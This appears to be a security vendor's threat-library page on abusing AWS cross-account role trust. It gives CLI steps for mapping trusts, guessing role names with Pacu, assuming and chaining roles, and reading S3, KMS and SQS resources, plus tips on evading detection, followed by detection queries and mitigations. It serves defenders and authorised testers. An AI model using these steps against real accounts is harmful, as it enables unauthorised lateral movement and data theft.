1. Resources
  2. Identity Threats
  3. AWS

AWS Cross-Account Role Trust Abuse

Also known as: Cross-account AssumeRole abuse, Role chaining, Over-broad role trust policy, Cross-account resource policy access

An attacker who controls a principal in one AWS account uses a role trust policy or resource policy that trusts that account to reach roles, buckets, keys and queues in another account.

Platform
AWS
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: Specific rights or roles
A principal in a trusted account that is allowed sts:AssumeRole on the target role, or that a bucket, key or queue policy in the target account names.
What the attacker gains
A session as a role in another account, or direct access to its S3 objects, KMS keys and SQS queues, with whatever those policies allow.
Threat groups
APT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersStorm-0501TeamPCPVOID MANTICOREand 8 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1078.004, T1199, T1550.001.

How it works

Cross-account access in AWS is built on two kinds of resource-based policy. A role's trust policy names who may call AssumeRole on it. A bucket policy, KMS key policy or SQS queue policy names who may use that resource directly. In both cases the named principal can live in another account, and the request succeeds when both sides agree: the resource policy in the trusting account allows it, and an identity policy in the caller's account allows the same action.

The trust is durable by design, and it follows the trusted account, not a person. Three patterns turn it into an attack path:

  • Over-broad account principal. A trust policy with "AWS": "arn:aws:iam::444455556666:root" or a bare account ID doesn't limit the trust to the root user. It hands the decision to that account: any user or role there that is allowed sts:AssumeRole on the target can take the role. Whoever compromises one sufficiently privileged principal in the trusted account, or can grant itself that permission there, inherits the role. A condition on aws:PrincipalOrgID has the same shape at a larger scale: it admits every account in the organization, including ones added later.
  • Role chaining. A session of one role calls AssumeRole on the next. Each hop is a separate authorization decision, so a development account that is trusted by a shared-services role, which is in turn trusted by a production role, forms a path that no single trust policy shows. AWS limits a chained session to one hour, but nothing stops the attacker from requesting a fresh one.
  • Resource-based policy access. A bucket, key or queue policy that names an external account or role grants access without any STS transition into the owning account. Service control policies of the resource owner's organization don't generally bind outside principals, and KMS access through a key policy still needs the matching permission in the caller's account.

Session policies, permissions boundaries and SCPs can only narrow what the assumed role may do. None of them changes who can obtain the session.

Prerequisites

  • Control of a principal in a trusted account: stolen access keys, a compromised workload role, or a CI job.
  • For the role path: a trust policy on the target role that admits that principal or its whole account, and an identity policy in the source account that allows sts:AssumeRole on the role ARN. An attacker with IAM write access in the source account can add that policy.
  • Any condition in the trust policy must be met: an external ID the attacker knows, MFA, a source IP range or an organization ID.
  • For the resource path: a bucket, key or queue policy that names the principal or its account, plus the identity-side permission for the same action.
  • The target role ARN. Role names are often predictable (OrganizationAccountAccessRole, vendor integration names), and they can be guessed from outside.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Map the trust

From inside an account, list roles and read who each one trusts. From the source account, read which roles the current identity may assume.

aws sts get-caller-identity

# Roles and their trust policies in the current account
aws iam list-roles \
    --query 'Roles[].{Role:RoleName,Trust:AssumeRolePolicyDocument.Statement[].Principal}' \
    --output json

# One role in full: trust policy, conditions, maximum session duration
aws iam get-role --role-name CrossAccountAdmin

External access that is already known to AWS is listed by IAM Access Analyzer, which is as useful to an attacker with read access as it is to the owner:

aws accessanalyzer list-analyzers
aws accessanalyzer list-findings-v2 \
    --analyzer-arn arn:aws:access-analyzer:us-east-1:111122223333:analyzer/account-analyzer

Without any access to the target account, Pacu can test role names against it. The module edits the trust policy of a role in the attacker's own account, which AWS only accepts when the named role exists, so the target sees nothing:

Pacu > run iam__enum_roles --account-id 111122223333

2. Assume the role

aws sts assume-role \
    --role-arn arn:aws:iam::111122223333:role/CrossAccountAdmin \
    --role-session-name deploy-pipeline \
    --duration-seconds 3600

# When the trust policy checks sts:ExternalId
aws sts assume-role \
    --role-arn arn:aws:iam::111122223333:role/VendorIntegration \
    --role-session-name sync \
    --external-id 0a1b2c3d4e

The response carries AccessKeyId, SecretAccessKey and SessionToken. Export them and confirm the new identity:

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEKEYID
export AWS_SECRET_ACCESS_KEY=EXAMPLESECRETKEY
export AWS_SESSION_TOKEN=EXAMPLESESSIONTOKEN
aws sts get-caller-identity

3. Chain to the next account

The AWS CLI chains roles through named profiles. Each profile assumes its role with the credentials of the profile it names as its source:

# ~/.aws/config
[profile shared]
role_arn = arn:aws:iam::111122223333:role/SharedServicesDeploy
source_profile = default

[profile prod]
role_arn = arn:aws:iam::777788889999:role/ProdOperations
source_profile = shared
aws sts get-caller-identity --profile prod

A chained request that asks for more than one hour fails, so leave --duration-seconds at its default on later hops.

4. Use resource policies directly

Where a resource policy names the attacker's principal, no role is needed. Read the policy when the identity may, then use the resource from the source account:

# S3
aws s3api get-bucket-policy --bucket example-finance-exports
aws s3api list-objects-v2 --bucket example-finance-exports --prefix 2026/
aws s3api get-object --bucket example-finance-exports --key 2026/ledger.csv ledger.csv

# KMS: cross-account use needs the full key ARN
aws kms get-key-policy --key-id arn:aws:kms:us-east-1:111122223333:key/00000000-0000-0000-0000-000000000000
aws kms list-grants --key-id arn:aws:kms:us-east-1:111122223333:key/00000000-0000-0000-0000-000000000000
aws kms decrypt \
    --key-id arn:aws:kms:us-east-1:111122223333:key/00000000-0000-0000-0000-000000000000 \
    --ciphertext-blob fileb://secret.bin \
    --query Plaintext --output text

# SQS
aws sqs get-queue-attributes \
    --queue-url https://sqs.us-east-1.amazonaws.com/111122223333/orders \
    --attribute-names Policy
aws sqs receive-message \
    --queue-url https://sqs.us-east-1.amazonaws.com/111122223333/orders \
    --max-number-of-messages 10

Impact

The attacker moves from one account to another with a valid, expected identity. An administrative role such as OrganizationAccountAccessRole gives full control of the member account. A narrower role still exposes whatever it can read, and it is often the start of the next hop: a production role that trusts a shared account, a key that decrypts another account's data, a queue whose messages carry tokens. This is lateral movement that needs no exploit and no new credential in the target account. Because the trust survives password resets and key rotation in the target, the path stays open until someone edits the policy.

An over-permissioned role behind a broad trust is the worst case: compromise of the least protected account in the chain becomes compromise of the best protected one.

OPSEC and artifacts

  • Probing from outside is silent for the target. CloudTrail does not log denied cross-account AssumeRole requests in the target account. Failed guesses of role names, external IDs and conditions appear only in the caller's own trail.
  • A successful assumption is logged on both sides. The caller's account records AssumeRole with the full caller identity and requestParameters.roleArn. The role owner's account records the same call with userIdentity.type of AWSAccount and only the caller's account ID, so the source principal is not visible there. The two records share a sharedEventID.
  • The session name is the attacker's choice. Operators pick a --role-session-name that matches the integration's usual one. The name still appears in responseElements.assumedRoleUser.arn and in every later event of the session.
  • Later activity carries the role, not the person. Events in the target account show userIdentity.sessionContext.sessionIssuer.arn for the role. Linking them to one issuance needs responseElements.credentials.accessKeyId from the AssumeRole record matched to userIdentity.accessKeyId downstream.
  • Resource policy access leaves no STS event in the owner's account. GetObject, ReceiveMessage and SendMessage are data events, recorded only when the trail selects them. KMS Decrypt is a management event and is usually the best witness.
  • Chaining keeps a thread when source identity is used. sourceIdentity persists across hops when the first session set it. Without it, each hop shows only the previous role.
  • STS global endpoint activity is logged in us-east-1, so a search limited to the workload's Region can miss it.

Detection

The hard part is that the request comes from an expected principal. Detection works on what changed and what is new:

  • Trust and resource policy changes. UpdateAssumeRolePolicy and CreateRole with an external or wildcard principal are covered by the role trust policy rules on UpdateAssumeRolePolicy and CreateRole. For direct access, see the rules for S3 buckets, KMS key policies and grants and SQS queues, which read PutBucketPolicy, PutKeyPolicy and SetQueueAttributes.
  • New callers of a known role. Keep a list of the account IDs that normally assume each cross-account role. A new userIdentity.accountId, a new source network or a new session name pattern on a sensitive role deserves a look.
  • Chains. An AssumeRole whose caller is itself an assumed-role session, ending in a privileged role, is rare in most estates and easy to baseline.
  • Analyzer findings. A new external access finding from IAM Access Analyzer shows a path before it is used. It never shows use.
-- Athena, CloudTrail table: who assumed cross-account roles in this account, and how often
SELECT
    json_extract_scalar(requestparameters, '$.roleArn') AS target_role,
    useridentity.type AS caller_type,
    useridentity.accountid AS caller_account,
    sourceipaddress,
    count(*) AS calls,
    min(eventtime) AS first_seen
FROM cloudtrail_logs
WHERE eventsource = 'sts.amazonaws.com'
  AND eventname = 'AssumeRole'
  AND errorcode IS NULL
  AND recipientaccountid = '111122223333'
  AND useridentity.accountid <> '111122223333'
  AND eventtime >= '2026-11-01T00:00:00Z'
GROUP BY 1, 2, 3, 4
ORDER BY first_seen DESC

An unusual IP address is weak evidence: it may be a NAT gateway, an AWS service or a supplier that changed its egress. A change to a trust policy followed by a first-time assumption and sensitive activity is strong evidence.

Mitigation

  • Name the role, not the account. Trust a specific role ARN in the other account instead of :root, and add conditions that the caller must meet (aws:PrincipalArn, sts:ExternalId for third parties, MFA for people). Note that a named role principal is stored by its unique ID, so the trust breaks if that role is deleted and recreated.
  • Scope organization conditions. aws:PrincipalOrgID admits every member account. Use aws:PrincipalOrgPaths or explicit accounts when only one team should have access.
  • Keep the role small. Give a cross-account role the least privilege its job needs and a short maximum session duration, so a hijacked trust yields little.
  • Break chains on purpose. Review which roles can assume which, across accounts, and remove trusts from lower environments into higher ones.
  • Guard resource policies. Keep S3 Block Public Access on, prefer aws:PrincipalOrgID conditions over bare external account principals, and review KMS grants as well as key policies. Resource control policies can set an organization-wide ceiling.
  • Run IAM Access Analyzer with an organization zone of trust and resolve or archive every external access finding deliberately.
  • Plan containment. After a trust repair, revoke existing sessions with a deny on aws:TokenIssueTime attached to the role. It doesn't stop a principal that can still assume the role from getting a new session, so fix the trust first.
  • Log what matters. Send management events from all accounts to an organization trail, and enable data events for the buckets and queues that hold sensitive data.

Detection rules for this attack

Log events to collect

FAQ

Does trusting an account's root ARN mean only the root user can assume the role?

No. A principal such as arn:aws:iam::444455556666:root, or the bare account ID, delegates the decision to the whole account. Any user or role there can assume the role once an administrator of that account allows sts:AssumeRole on it in an identity policy.

Does the target account see failed cross-account AssumeRole attempts?

No. AWS documents that CloudTrail does not log denied STS requests in the target account for cross-account role assumptions. The denial is recorded only in the caller's account, so guessing role names and trust conditions from outside is invisible to the role owner.

Does fixing the trust policy end sessions that were already issued?

No. A trust policy is only evaluated when a session is requested. Sessions issued earlier keep working until they expire, unless a deny conditioned on aws:TokenIssueTime is attached to the role, which is what the console's Revoke sessions action does.

How is access through a bucket or key policy different from assuming a role?

A resource policy can name a principal of another account directly. That principal then calls S3, KMS or SQS with its own credentials, so no AssumeRole event is written in the resource owner's account, and the object reads and message operations are data events that most trails don't record.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.